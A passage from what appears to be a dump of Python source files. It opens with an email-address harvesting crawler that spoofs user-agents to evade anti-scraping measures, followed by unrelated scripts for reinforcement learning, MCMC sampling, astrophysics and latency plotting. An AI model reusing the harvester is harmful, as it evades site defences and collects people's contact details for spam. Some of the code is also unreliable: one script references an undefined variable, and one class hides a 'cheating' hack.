'.cpp', '.class', '.java',\n '.pl', '.sh', '.vb', '.swift',\n '.bak', '.tmp', '.ics', '.exe',\n '.msi', '.torrent', '.lua', '.deb',\n '.rpm', '.hqx', '.uue', '.sys'\n )\n tocrawl = queue.Queue()\n crawled = []\n tocrawl.put(self.url)\n\n #setup some headers to fool sites that try to prevent scraping :p\n user_agents = [\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0',\n 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0',\n 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0',\n ]\n\n user_agent = random.choice(user_agents)\n\n headers = {\n 'User-Agent': user_agent,\n 'Referer': self.url\n }\n\n while tocrawl.qsize():\n\n if pagecount == self.maxpages:\n break\n\n link = str(tocrawl.get())\n\n if link.lower().endswith(excludedExtensions):\n self.debug('Skipping : ' + link + ' because it\\'s an asset, not a page!')\n\n elif link not in crawled:\n self.debug('Found a new page to crawl: ' + link)\n\n # skip dead links and pages we've already crawled\n try:\n req = urllib.request.Request(link, None, headers)\n page_content = urllib.request.urlopen(req)\n page = BeautifulSoup(page_content, 'html.parser')\n\n crawled.append(link)\n\n # queue up new links found on this page\n for l in self.get_links(page):\n if l not in crawled:\n tocrawl.put(l)\n self.debug('-- Adding link: ' + l + ' found on page')\n\n self.extract_emails(page)\n\n pagecount += 1\n\n except urllib.error.HTTPError as e:\n if e.code == 403:\n self.debug('Skipping page: ' + link + ' because the crawler was forbidden access (403)!')\n elif e.code == 404:\n self.debug('Skipping page: ' + link + ' because the link is dead (404)!')\n else:\n self.debug('Skipping page: ' + link + 'because something else went wrong. HTTP error code: ' + e.code)\n\n except urllib.error.URLError as e:\n self.debug('Skipping unknown URL type!')\n\n crawled.append(link)\n\n # wait for the specified amount of time between page requests...be nice to webservers!\n time.sleep(self.delay)\n\n else:\n self.debug('Skipping page: ' + link + ' because we\\'ve already crawled this page!')\n\n # Log all the things!\n def debug(self, msg, prefix='DEBUG'):\n if self.verbose:\n print(prefix + ' ' + str(msg))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Enter a URL\")\n\n parser.add_argument(\n '--domains', nargs='+',\n help='Space-separated list of domains to crawl'\n )\n\n parser.add_argument(\n '--delay', nargs='?',\n default=5,\n help='The delay between page requests in seconds (default is 5 seconds)'\n )\n\n parser.add_argument(\n '--maxpages', nargs='?',\n default=100,\n help='The maximum number of pages to crawl per domain (default is 100 pages)'\n )\n\n parser.add_argument(\n '--verbose',\n action='store_true',\n help='Enable verbose mode. This prints a fuck-load of debug info to stdout (your terminal).'\n )\n\n parser.add_argument(\n '--outfile',\n help='Save scraped email addresses to a txt file, newline delimited.'\n )\n\n args = parser.parse_args()\n\n domains = args.domains\n delay = int(args.delay)\n maxpages = int(args.maxpages)\n verbose = args.verbose\n outfile = args.outfile\n\n for domain in domains:\n\n c = Crawler(str(domain).strip(), delay, maxpages, outfile, verbose)\n\n print(\"\\nCrawling \" + c.domainName + \" for email addresses.\")\n c.crawl()\n\n print(\"- Found email addresses:\")\n for email in c.get_emails():\n print('-- ' + email)\n","sub_path":"find_email_addresses.py","file_name":"find_email_addresses.py","file_ext":"py","file_size_in_byte":10696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"519003966","text":"from DQN import DQN\nimport torch\nimport numpy as np \nfrom game import Game\n\nagent = DQN()\nrounds = 20000\n\nfor i in range(rounds):\n g = Game(score_to_win=1024)\n state = g.board\n while True:\n action = agent.consult(state)\n g.move(action)\n statep = g.board\n reward = g.score\n agent.store(state, action, reward, statep)\n state = statep\n\n if net.memorycnt == 0:\n net.learn()\n\n if g.end:\n break\n agent.save(path='../model/', name='CNN3.pkl')","sub_path":"game2048/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"235906896","text":"\n\nclass Campaigns:\n def __init__(self, campaign_file):\n self.keywords = {}\n self.campaigns = {}\n self.parse(campaign_file)\n\n def parse(self, campaign_file):\n contents = open(campaign_file, 'r')\n url = None\n line = contents.readline()\n while line:\n line = line.strip()\n if not url:\n url = line\n self.campaigns[url] = {}\n elif line == '':\n url = None\n else:\n self.campaigns[url][line] = None\n if self.keywords.has_key(line):\n self.keywords[line].append(url)\n else:\n self.keywords[line] = [url]\n\n line = contents.readline()\n\n def set_rank(self, url, keyword, rank):\n try:\n if not self.campaigns[url][keyword]:\n self.campaigns[url][keyword] = rank\n except:\n pass\n\n def get_campaigns(self):\n return self.campaigns\n\n def get_keywords(self):\n return self.keywords\n","sub_path":"campaigns.py","file_name":"campaigns.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"152281552","text":"\"\"\"\nProvides a simple wrapper for the 2-halo term function, which is written in \nfortran (as it is one of the most compute-intensive parts of the calculation). \n\"\"\"\nfrom twohalo import twohalo_calc as thalo\nimport numpy as np\n\ndef twohalo_wrapper(excl, sdb, m, bias, ntot, dndm, lnk, dmpower, u, r, dmcorr,\n nbar, dhalo, rhob, ncores):\n \"\"\"\n A simple wrapper for the 2-halo term calculation.\n \n Parameters\n ----------\n excl : str\n String identifier for halo-exclusion method (None,schneider,sphere,\n ng_matched,ellipsoid)\n \n sdb : bool\n Whether to use scale-dependent bias or not. \n \n m : array\n Array of masses\n \n bias : array\n The scale-independent bias function\n \n ntot : array\n The total average galaxies per halo of mass m\n \n dndm : array\n The mass function\n \n lnk : array\n Logarithmic wavenumbers\n \n dmpower : array\n Matter power spectrum\n \n u : (nk,nm)-array\n The normalised fourier transform of the density profile as a function \n of m and k.\n \n r : array\n The scales at which to evaluate the 2-halo term\n \n dmcorr : array\n The matter correlation function\n \n nbar : float\n Mean galaxy number density\n \n dhalo : float\n Definition of a halo -- overdensity with respect to background.\n \n rhob : float\n The background density\n \n ncores : int\n The number of cores to use in the calculation. NOTE: not much of a\n speedup is gained, if any.\n \"\"\"\n u = np.asfortranarray(u.T)\n\n exc_type = {\"None\":1,\n \"schneider\":2,\n \"sphere\":3,\n \"ng_matched\":4,\n \"ellipsoid\":5}\n\n corr = thalo.twohalo(m, bias, ntot, dndm, lnk, dmpower, u, r, dmcorr, nbar,\n dhalo, rhob, exc_type[excl], sdb, ncores)\n\n return corr\n\ndef dblsimps(X, dx, dy):\n return thalo.dblsimps(X, dx, dy)\n","sub_path":"halomod/fort/twohalo_wrapper.py","file_name":"twohalo_wrapper.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"400774672","text":"__author__ = 'guopei'\nimport random\nimport math\nimport matplotlib.pyplot as plt\nfrom scipy.special import beta as beta_fun\nimport numpy as np\n\nclass Node(object):\n def __init__(self, init_value, candsd, name, observed = False):\n self.value = float(init_value)\n self.candsd = float(candsd)\n self.name = name\n self.sample_values = [float(init_value)]\n self.observed = observed\n self.children = []\n\n def sample(self):\n last = self.value\n candsd = self.candsd\n cand = random.gauss(last, candsd)\n\n cand_prob = self.get_log_posterior_prob(cand)\n current_prob = self.get_log_posterior_prob(last)\n\n rand = math.log(random.random())\n\n if rand < cand_prob - current_prob:\n self.value = cand\n\n self.sample_values.append(self.value)\n\n def get_log_posterior_prob(self, eval_value):\n\n prob = self.get_log_likelihood_prob(eval_value)\n\n # temporarily set node value as value\n store_value = self.value\n self.value = eval_value\n for chld in self.children:\n prob += chld.get_log_likelihood_prob(chld.value)\n\n # then restore it.\n self.value = store_value\n\n return prob\n\n def get_log_likelihood_prob(self):\n pass\n\n def draw_mixing(self, burn_in = 0):\n fig = plt.figure()\n fig.suptitle('{} mixing'.format(self.name), fontsize=14, fontweight='bold')\n\n data = self.sample_values[burn_in:]\n plt.plot(data)\n\n plt.savefig('{}_new_mixing.png'.format(self.name))\n\n def plot_distribution(self, burn_in = 0):\n fig = plt.figure()\n fig.suptitle('{} distribution'.format(self.name), fontsize=14, fontweight='bold')\n\n data = self.sample_values[burn_in:]\n plt.hist(data, bins=100, normed=True, color=\"Green\")\n plt.xlim(0,1)\n\n #plt.show()\n plt.savefig('{}_distributionmi.png'.format(self.name))\n\n\nclass NormalNode(Node):\n def __init__(self, init_value, mean, var, candsd, name, observed = False):\n super(NormalNode, self).__init__(init_value, candsd, name, observed)\n\n # if mean is a value, then mean() method return mean\n if type(mean) == float or type(mean) == int:\n self.mean = lambda : float(mean)\n # if mean is a node class, then mean() return mean.value\n else:\n self.mean = lambda : mean.value\n mean.children.append(self)\n\n # same thing with mean\n if type(var) == float or type(var) == int:\n self.var = lambda : float(var)\n else:\n self.var = lambda : var.value\n var.children.append(self)\n\n def get_log_likelihood_prob(self, x):\n # find current value of mean and var\n miu = self.mean()\n sig2 = self.var()\n\n if sig2 <= 0:\n return -float('Inf')\n else:\n return - 0.5 * math.log(sig2) - (x - miu) ** 2 / (2 * sig2)\n\nclass InvGammaNode(Node):\n def __init__(self, init_value, alpha, beta, candsd, name, observed = False):\n super(InvGammaNode, self).__init__(init_value, candsd, name, observed)\n\n if type(alpha) == float or type(alpha) == int:\n self.alpha = lambda : float(alpha)\n else:\n self.alpha = lambda : alpha.value\n alpha.children.append(self)\n\n if type(beta) == float or type(beta) == int:\n self.beta = lambda : float(beta)\n else:\n self.beta = lambda : beta.value\n beta.children.append(self)\n\n def sample(self):\n last = self.value\n candsd = self.candsd\n cand = random.gauss(last, candsd)\n if cand <= 0:\n self.sample_values.append(self.value)\n return\n\n cand_prob = self.get_log_posterior_prob(cand)\n current_prob = self.get_log_posterior_prob(last)\n\n rand = math.log(random.random())\n\n if rand < cand_prob - current_prob:\n self.value = cand\n\n self.sample_values.append(self.value)\n\n def get_log_likelihood_prob(self, x):\n\n # find current value of mean and var\n alpha = self.alpha()\n beta = self.beta()\n\n if alpha <= 0 or beta <= 0:\n return -float('Inf')\n else:\n return alpha * math.log(beta) - math.log(math.gamma(alpha)) - (alpha + 1) * math.log(x) - (beta / x)\n\nclass BetaNode(Node):\n\n def __init__(self, init_value, alpha, beta, candsd, name, observed = False):\n super(BetaNode, self).__init__(init_value, candsd, name, observed)\n\n if type(alpha) == float or type(alpha) == int:\n self.alpha = lambda : float(alpha)\n else:\n self.alpha = lambda : alpha.value\n alpha.children.append(self)\n\n if type(beta) == float or type(beta) == int:\n self.beta = lambda : float(beta)\n else:\n self.beta = lambda : beta.value\n beta.children.append(self)\n\n def sample(self):\n last = self.value\n candsd = self.candsd\n cand = random.gauss(last, candsd)\n if cand <= 0 or cand >= 1:\n self.sample_values.append(self.value)\n return\n\n #print(last, cand)\n\n cand_prob = self.get_log_posterior_prob(cand)\n current_prob = self.get_log_posterior_prob(last)\n\n rand = math.log(random.random())\n\n if rand < cand_prob - current_prob:\n self.value = cand\n\n\n self.sample_values.append(self.value)\n\n def get_log_likelihood_prob(self, x):\n\n try:\n alpha = self.alpha()\n beta = self.beta()\n\n if alpha <= 0 or beta <= 0:\n return -float('Inf')\n else:\n return (alpha - 1) * math.log(x) + (beta - 1) * math.log(1 - x)\n except (ValueError, OverflowError):\n print(\"Beta Node too big\")\n return -float(\"inf\")\n except (OverflowError):\n return 0\n\nclass BernoulliNode(Node):\n def __init__(self, init_value, probability, candsd, name, observed = False):\n super(BernoulliNode, self).__init__(init_value, candsd, name, observed)\n self.init_value = init_value\n\n # if mean is a value, then mean() method return mean\n if type(probability) == float or type(probability) == int:\n self.probability = lambda : float(probability)\n # if mean is a node class, then mean() return mean.value\n else:\n self.probability = lambda : probability.value\n probability.children.append(self)\n\n def sample(self):\n prob = self.probability()\n rand = random.random()\n if rand < prob:\n self.value = True\n self.sample_values.append(self.value)\n else:\n self.value = False\n self.sample_values.append(self.value)\n\n def get_log_likelihood_prob(self, x):\n prob = self.probability()\n\n if prob < 0 or prob > 1:\n return -float(\"Inf\")\n\n if self.value == True:\n return math.log(prob)\n else:\n return math.log(1-prob)\n\nclass GammaNode(Node):\n def __init__(self, init_value, alpha, beta, candsd, name, observed = False):\n super(GammaNode, self).__init__(init_value, candsd, name, observed)\n\n if type(alpha) == float or type(alpha) == int:\n self.alpha = lambda : float(alpha)\n else :\n ## Shameful cheating here!!!\n ## It is mission impossible to let A**pi be an object with\n ## attribute `value` and let A add B as child at the same time.\n self.alpha = lambda : alpha.value ** math.pi\n alpha.children.append(self)\n\n if type(beta) == float or type(beta) == int:\n self.beta = lambda : float(beta)\n else:\n self.beta = lambda : beta.value\n beta.children.append(self)\n\n def sample(self):\n last = self.value\n candsd = self.candsd\n cand = random.gauss(last, candsd)\n if cand <= 0:\n self.sample_values.append(self.value)\n return\n\n cand_prob = self.get_log_posterior_prob(cand)\n current_prob = self.get_log_posterior_prob(last)\n\n rand = math.log(random.random())\n\n if rand < cand_prob - current_prob:\n self.value = cand\n\n self.sample_values.append(self.value)\n\n def get_log_likelihood_prob(self, x):\n\n try:\n\n alpha = self.alpha()\n beta = self.beta()\n\n if alpha <= 0 or beta <= 0:\n return -float('Inf')\n else:\n return alpha * math.log(beta) - math.log(math.gamma(alpha)) + (alpha - 1) * math.log(x) - (beta * x)\n\n except (ValueError, OverflowError):\n return -float(\"inf\")\n except (OverflowError):\n return 0\n\nclass PoissonNode(Node):\n def __init__(self, init_value, rate, candsd, name, observed = False):\n super(PoissonNode, self).__init__(round(init_value), candsd, name, observed)\n\n if type(rate) == float or type(rate) == int:\n self.rate = lambda : float(rate)\n else:\n self.rate = lambda : rate.value\n rate.children.append(self)\n\n def sample(self):\n last = self.value\n candsd = self.candsd\n cand = round(random.gauss(last, candsd))\n if cand < 0:\n self.sample_values.append(self.value)\n return\n\n cand_prob = self.get_log_posterior_prob(cand)\n current_prob = self.get_log_posterior_prob(last)\n\n rand = math.log(random.random())\n\n if rand < cand_prob - current_prob:\n self.value = cand\n\n self.sample_values.append(self.value)\n\n def get_log_likelihood_prob(self, x):\n\n # find current value of mean and var\n rate = self.rate()\n\n if rate <= 0:\n return -float(\"Inf\")\n else:\n return x * math.log(rate) - rate - math.log(math.factorial(int(x)))\n\n\nclass SuperBernoulliNode(Node):\n def __init__(self, init_value, name, parent_prob, candsd=0, observed=False):\n super(SuperBernoulliNode, self).__init__(init_value, candsd, name, observed)\n\n self.allprob = []\n [parent_nodes, probs] = parent_prob\n self.parents = parent_nodes\n\n for node in parent_nodes:\n node.children.append(self)\n\n for prob in probs:\n if type(prob) == float:\n self.allprob.append(lambda prob=prob: float(prob))\n else:\n self.allprob.append(lambda prob=prob: prob.value)\n prob.children.append(self)\n\n\n def sample(self):\n\n prob = 0\n #store_value = self.value\n #self.value = True\n prob += self.get_log_likelihood_prob(True)\n #for chld in self.children:\n # prob += chld.get_log_likelihood_prob(chld.value)\n\n #self.value = store_value\n\n rand = math.log(random.random())\n\n #print self.name, prob, rand,\n\n if rand < prob:\n self.value = True\n self.sample_values.append(self.value)\n else:\n self.value = False\n self.sample_values.append(self.value)\n\n def get_log_likelihood_prob(self, x):\n if type(x) == bool or type(x) == float:\n ind = 0\n total = len(self.parents)\n for i in xrange(total):\n ind += 0 if self.parents[i].value else 2 ** (total - i - 1)\n\n prob = self.allprob[ind]()\n\n if prob < 0 or prob > 1:\n return -float(\"Inf\")\n\n if x == True:\n return math.log(prob)\n else:\n return math.log(1-prob)\n elif type(x) == list:\n value_num = len(x)\n prnt_num = len(self.parents)\n nk = [[np.array([0, 0])]] * (2**prnt_num)\n prob = 0\n for num in xrange(value_num):\n\n if self.value[num] == None:\n continue\n\n ind = 0\n parent_good = True\n for i in xrange(prnt_num):\n if self.parents[i].value[num] == None:\n parent_good = False\n break\n ind += 0 if self.parents[i].value[num] else 2 ** (prnt_num - i - 1)\n\n #print(self.name, ind, num, nk)\n if parent_good:\n nk[ind] += np.array([1, x[num]])\n\n\n for ind in xrange(len(nk)):\n p = self.allprob[ind]()\n prob += nk[ind][0][1] * math.log(p) + (nk[ind][0][0] - nk[ind][0][1]) * math.log(1-p)\n\n return prob\n\n\n\n\n","sub_path":"Node.py","file_name":"Node.py","file_ext":"py","file_size_in_byte":12639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"79165337","text":"\"\"\"\n Copyright 2019 Manuel Olguín\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http://www.apache.org/licenses/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nimport json\nimport os\nfrom typing import Dict, List, Tuple\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import pylab, gridspec\n\nfrom util import *\n\n# n_runs = 25\n\nPLOT_DIM = (4.5, 3)\nSEPARATE_LEGEND = False\nPLOT_TITLES = False\n# PLOT_DIM = (8, 6)\nFEEDBACK_TIME_RANGE = (-10, 600)\nNO_FEEDBACK_TIME_RANGE = (-2, 100)\n\nFEEDBACK_BIN_RANGE = (200, 1200)\nNO_FEEDBACK_BIN_RANGE = (10, 300)\n\n\n# HIST_FEEDBACK_YRANGE = (0, 0.025)\n# HIST_NO_FEEDBACK_YRANGE = (0, 0.12)\n\ndef set_box_color(bp, color):\n plt.setp(bp['boxes'], color=color)\n plt.setp(bp['whiskers'], color=color)\n plt.setp(bp['caps'], color=color)\n plt.setp(bp['medians'], color=color)\n\n\ndef autolabel(ax: plt.Axes, rects: List[plt.Rectangle],\n y_range: Tuple[float, float],\n bottom: bool = False,\n color: str = 'black') -> None:\n \"\"\"\n Attach a text label above each bar displaying its height\n \"\"\"\n for rect in rects:\n height = rect.get_height()\n x_pos = rect.get_x() + rect.get_width() / 2.0\n\n if not bottom:\n y_pos = 0.2 * (max(*y_range) - min(*y_range))\n ax.text(x_pos, y_pos,\n '{:02.2f}'.format(height),\n ha='center', va='bottom', weight='bold',\n rotation='vertical',\n color=color)\n else:\n y_pos = rect.get_y()\n ax.text(x_pos, y_pos,\n '{:02.2f}'.format(height),\n ha='center', va='top', weight='bold',\n rotation='vertical',\n color=color)\n\n\ndef plot_box_fb_vs_nfb(experiments: Dict) -> None:\n root_dir = os.getcwd()\n ticks = []\n rtts_feedback = []\n rtts_nofeedback = []\n\n for exp_name, exp_dir in experiments.items():\n os.chdir(root_dir + '/' + exp_dir)\n data = pd.read_csv('total_frame_stats.csv')\n run_data = pd.read_csv('total_run_stats.csv')\n os.chdir(root_dir)\n\n data = filter_runs(data, run_data)\n data_fb = calculate_derived_metrics(data, feedback=True)\n data_nofb = calculate_derived_metrics(data, feedback=False)\n\n rtt_fb = data_fb['client_recv'] - data_fb['client_send']\n rtt_nofb = data_nofb['client_recv'] - data_nofb['client_send']\n\n rtts_feedback.append(rtt_fb)\n rtts_nofeedback.append(rtt_nofb)\n\n ticks.append(exp_name)\n\n fig, ax = plt.subplots()\n num_exps = len(ticks)\n bp_nofb = ax.boxplot(rtts_nofeedback,\n positions=np.array(range(num_exps)) * 2.0 - 0.2,\n sym='', widths=0.4)\n bp_fb = ax.boxplot(rtts_feedback,\n positions=np.array(range(num_exps)) * 2.0 + 0.2,\n sym='', widths=0.4)\n\n # colors here\n fb_color = 'C0'\n nofb_color = 'C1'\n\n set_box_color(bp_fb, fb_color)\n set_box_color(bp_nofb, nofb_color)\n\n # legend\n p2 = ax.plot([], c=nofb_color, label='RTT - No Transition', marker='s',\n linestyle='',\n markersize=10)\n p1 = ax.plot([], c=fb_color, label='RTT - State Transition', marker='s',\n linestyle='',\n markersize=10)\n\n ax.legend()\n\n # if SEPARATE_LEGEND:\n # dim_x, dim_y = PLOT_DIM\n # figlegend = pylab.figure(figsize=(dim_x * 2.0, .3))\n # plots = (*p1, *p2, *p3)\n # figlegend.legend(plots,\n # ('Uplink Time', 'Processing Time', 'Downlink Time'),\n # loc='center',\n # mode='expand',\n # ncol=3)\n # figlegend.tight_layout()\n # figlegend.savefig('times_box_legend.pdf', transparent=True,\n # bbox_inches='tight', pad_inches=0)\n # figlegend.show()\n # else:\n # ax.legend()\n\n ax.set_xticks(range(0, len(ticks) * 2, 2))\n ax.set_xticklabels(ticks)\n ax.set_xlim(-1, (len(ticks) * 2) - 1)\n ax.tick_params(labeltop=False,\n labelright=True,\n bottom=True,\n left=True,\n right=True)\n ax.set_ylabel('Time [ms]')\n ax.grid(True, which='major', axis='y', linestyle='--', alpha=0.8)\n\n fig.set_size_inches(*PLOT_DIM)\n plt.tight_layout()\n fig.savefig('rtt_fb_vs_nofb.pdf', bbox_inches='tight')\n\n plt.show()\n\n\ndef plot_time_taskstep(experiment: str) -> None:\n # get all frame data\n root_dir = os.getcwd()\n os.chdir(root_dir + '/' + experiment)\n data = pd.read_csv('total_frame_stats.csv')\n run_data = pd.read_csv('total_run_stats.csv')\n os.chdir(root_dir)\n\n data = calculate_derived_metrics(data, True)\n data = filter_runs(data, run_data)\n\n # separate into steps\n states = list(range(-1, data['state_index'].max() + 1, 1))\n\n rtts = [[p + u + d for p, u, d in zip(\n data.loc[data['state_index'] == state]['processing'],\n data.loc[data['state_index'] == state]['uplink'],\n data.loc[data['state_index'] == state]['downlink']\n )] for state in states]\n\n # fig, (ax_top, ax_bot) = plt.subplots(2, 1, sharex=True)\n fig = plt.figure()\n gs = gridspec.GridSpec(2, 1, height_ratios=[4, 1])\n ax_top = plt.subplot(gs[0])\n ax_bot = plt.subplot(gs[1])\n\n color = 'C0'\n bp_top = ax_top.boxplot(rtts, positions=states, showfliers=False)\n bp_bot = ax_bot.boxplot(rtts, positions=states, showfliers=False)\n\n p = ax_bot.plot([], c=color,\n label='RTT',\n marker='s',\n linestyle='',\n markersize=10)\n set_box_color(bp_top, color)\n set_box_color(bp_bot, color)\n\n # set zoom\n ax_top.set_ylim(200, 350)\n ax_bot.set_ylim(0, 50)\n\n # hide spines\n ax_top.spines['bottom'].set_visible(False)\n ax_bot.spines['top'].set_visible(False)\n ax_top.tick_params(labeltop=False,\n labelbottom=False,\n labelright=True,\n top=False,\n bottom=False,\n left=True,\n right=True)\n ax_bot.tick_params(labeltop=False,\n labelbottom=True,\n labelright=True,\n top=False,\n bottom=True,\n left=True,\n right=True)\n\n ax_bot.legend(loc='lower right')\n\n def _state2tick(idx):\n if idx < 0:\n return 'Error'\n elif idx == 0:\n return 'Start'\n elif idx == max(states):\n return '{} to End'.format(idx - 1)\n else:\n return '{} to {}'.format(idx - 1, idx)\n\n ticks = list(map(_state2tick, states))\n ax_bot.set_xticklabels(ticks, rotation=45, ha='right')\n\n ax_bot.tick_params(labeltop=False, labelright=True)\n ax_top.set_ylabel('Time [ms]')\n ax_top.grid(True, which='major', axis='y', linestyle='--', alpha=0.8)\n ax_bot.grid(True, which='major', axis='y', linestyle='--', alpha=0.8)\n\n # add diagonal lines for break in Y axis\n d = .02 # how big to make the diagonal lines in axes coordinates\n # arguments to pass to plot, just so we don't keep repeating them\n kwargs = dict(transform=ax_top.transAxes, color='k', clip_on=False)\n ax_top.plot((-d, +d), (-d, +d), **kwargs) # top-left diagonal\n ax_top.plot((1 - d, 1 + d), (-d, +d), **kwargs) # top-right diagonal\n\n kwargs.update(transform=ax_bot.transAxes) # switch to the bottom axes\n ax_bot.plot((-d, +d), (1 - (3 * d), 1 + (3 * d)), **kwargs) # bottom-left\n # diagonal\n ax_bot.plot((1 - d, 1 + d), (1 - (3 * d), 1 + (3 * d)),\n **kwargs) # bottom-right\n # diagonal\n\n fig.set_size_inches(*PLOT_DIM)\n plt.tight_layout()\n fig.savefig('times_box_taskstep.pdf', bbox_inches='tight')\n\n plt.show()\n\n\ndef plot_time_box(experiments: Dict, feedback: bool) -> None:\n root_dir = os.getcwd()\n # results = {}\n ticks = []\n processing_times = []\n uplink_times = []\n downlink_times = []\n\n for exp_name, exp_dir in experiments.items():\n os.chdir(root_dir + '/' + exp_dir)\n data = pd.read_csv('total_frame_stats.csv')\n run_data = pd.read_csv('total_run_stats.csv')\n os.chdir(root_dir)\n\n data = calculate_derived_metrics(data, feedback)\n data = filter_runs(data, run_data)\n\n # results[exp_name] = data\n ticks.append(exp_name)\n processing_times.append(data['processing'])\n uplink_times.append(data['uplink'])\n downlink_times.append(data['downlink'])\n\n fig, ax = plt.subplots()\n num_exps = len(ticks)\n bp_proc = ax.boxplot(processing_times,\n positions=np.array(range(num_exps)) * 3.0,\n sym='', widths=0.4)\n bp_up = ax.boxplot(uplink_times,\n positions=np.array(range(num_exps)) * 3.0 - 0.5,\n sym='', widths=0.4)\n bp_down = ax.boxplot(downlink_times,\n positions=np.array(range(num_exps)) * 3.0 + 0.5,\n sym='', widths=0.4)\n\n # colors here\n set_box_color(bp_up, 'C0')\n set_box_color(bp_proc, 'C1')\n set_box_color(bp_down, 'C2')\n\n # legend\n p1 = ax.plot([], c='C0', label='Uplink Time', marker='s', linestyle='',\n markersize=10)\n p2 = ax.plot([], c='C1', label='Processing Time', marker='s', linestyle='',\n markersize=10)\n p3 = ax.plot([], c='C2', label='Downlink Time', marker='s', linestyle='',\n markersize=10)\n\n if SEPARATE_LEGEND:\n dim_x, dim_y = PLOT_DIM\n figlegend = pylab.figure(figsize=(dim_x * 2.0, .3))\n plots = (*p1, *p2, *p3)\n figlegend.legend(plots,\n ('Uplink Time', 'Processing Time', 'Downlink Time'),\n loc='center',\n mode='expand',\n ncol=3)\n figlegend.tight_layout()\n figlegend.savefig('times_box_legend.pdf', transparent=True,\n bbox_inches='tight', pad_inches=0)\n figlegend.show()\n else:\n ax.legend()\n\n ax.set_xticks(range(0, len(ticks) * 3, 3))\n ax.set_xticklabels(ticks)\n ax.set_xlim(-1, (len(ticks) * 3) - 2)\n ax.tick_params(labeltop=False,\n labelright=True,\n bottom=True,\n left=True,\n right=True)\n ax.set_ylabel('Time [ms]')\n if feedback:\n ax.set_ylim(top=FEEDBACK_TIME_RANGE[1])\n else:\n ax.set_ylim(top=NO_FEEDBACK_TIME_RANGE[1])\n ax.grid(True, which='major', axis='y', linestyle='--', alpha=0.8)\n\n fig.set_size_inches(*PLOT_DIM)\n plt.tight_layout()\n\n if feedback:\n fig.savefig('times_box_feedback.pdf', bbox_inches='tight')\n if PLOT_TITLES:\n plt.title('Time statistics for frames w/ feedback')\n else:\n fig.savefig('times_box_nofeedback.pdf', bbox_inches='tight')\n if PLOT_TITLES:\n plt.title('Time statistics for frames w/o feedback')\n\n plt.show()\n\n\ndef plot_time_dist(experiments: Dict, feedback: bool) -> None:\n root_dir = os.getcwd()\n results = {}\n\n for exp_name, exp_dir in experiments.items():\n os.chdir(root_dir + '/' + exp_dir)\n data = pd.read_csv('total_frame_stats.csv')\n run_data = pd.read_csv('total_run_stats.csv')\n os.chdir(root_dir)\n\n data = calculate_derived_metrics(data, feedback)\n data = filter_runs(data, run_data)\n\n results[exp_name] = data\n\n # bin_min = min(map(\n # operator.methodcaller('min'),\n # map(\n # operator.itemgetter('processing'),\n # results.values()\n # )\n # ))\n #\n # bin_max = max(map(\n # operator.methodcaller('max'),\n # map(\n # operator.itemgetter('processing'),\n # results.values()\n # )\n # ))\n\n fig, ax = plt.subplots()\n # bins = np.logspace(np.log10(bin_min), np.log10(bin_max), 30)\n\n if feedback:\n bins = np.logspace(np.log10(FEEDBACK_BIN_RANGE[0]),\n np.log10(FEEDBACK_BIN_RANGE[1]),\n 30)\n else:\n bins = np.logspace(np.log10(NO_FEEDBACK_BIN_RANGE[0]),\n np.log10(NO_FEEDBACK_BIN_RANGE[1]),\n 30)\n\n hists = []\n pdfs = []\n for exp_name, data in results.items():\n hists.append(ax.hist(data['processing'], bins,\n label=exp_name,\n # norm_hist=True\n alpha=0.5,\n density=True)[-1])\n\n shape, loc, scale = stats.lognorm.fit(data['processing'])\n pdf = stats.lognorm.pdf(bins, shape, loc, scale)\n pdfs.append(*ax.plot(bins, pdf,\n label=exp_name + ' lognorm PDF'))\n\n if SEPARATE_LEGEND:\n figlegend = pylab.figure(figsize=(3, 1))\n plots = (*(h[0] for h in hists), *pdfs)\n labels = (\n *(exp_name for exp_name, _ in results.items()),\n *(exp_name + ' PDF' for exp_name, _ in results.items())\n )\n figlegend.legend(plots,\n labels,\n loc='center',\n mode='expand',\n ncol=2)\n figlegend.tight_layout()\n figlegend.savefig('proc_hist_legend.pdf', transparent=True,\n bbox_inches='tight', pad_inches=0)\n figlegend.show()\n else:\n ax.legend(loc='upper right', ncol=2)\n\n ax.set_xscale(\"log\")\n 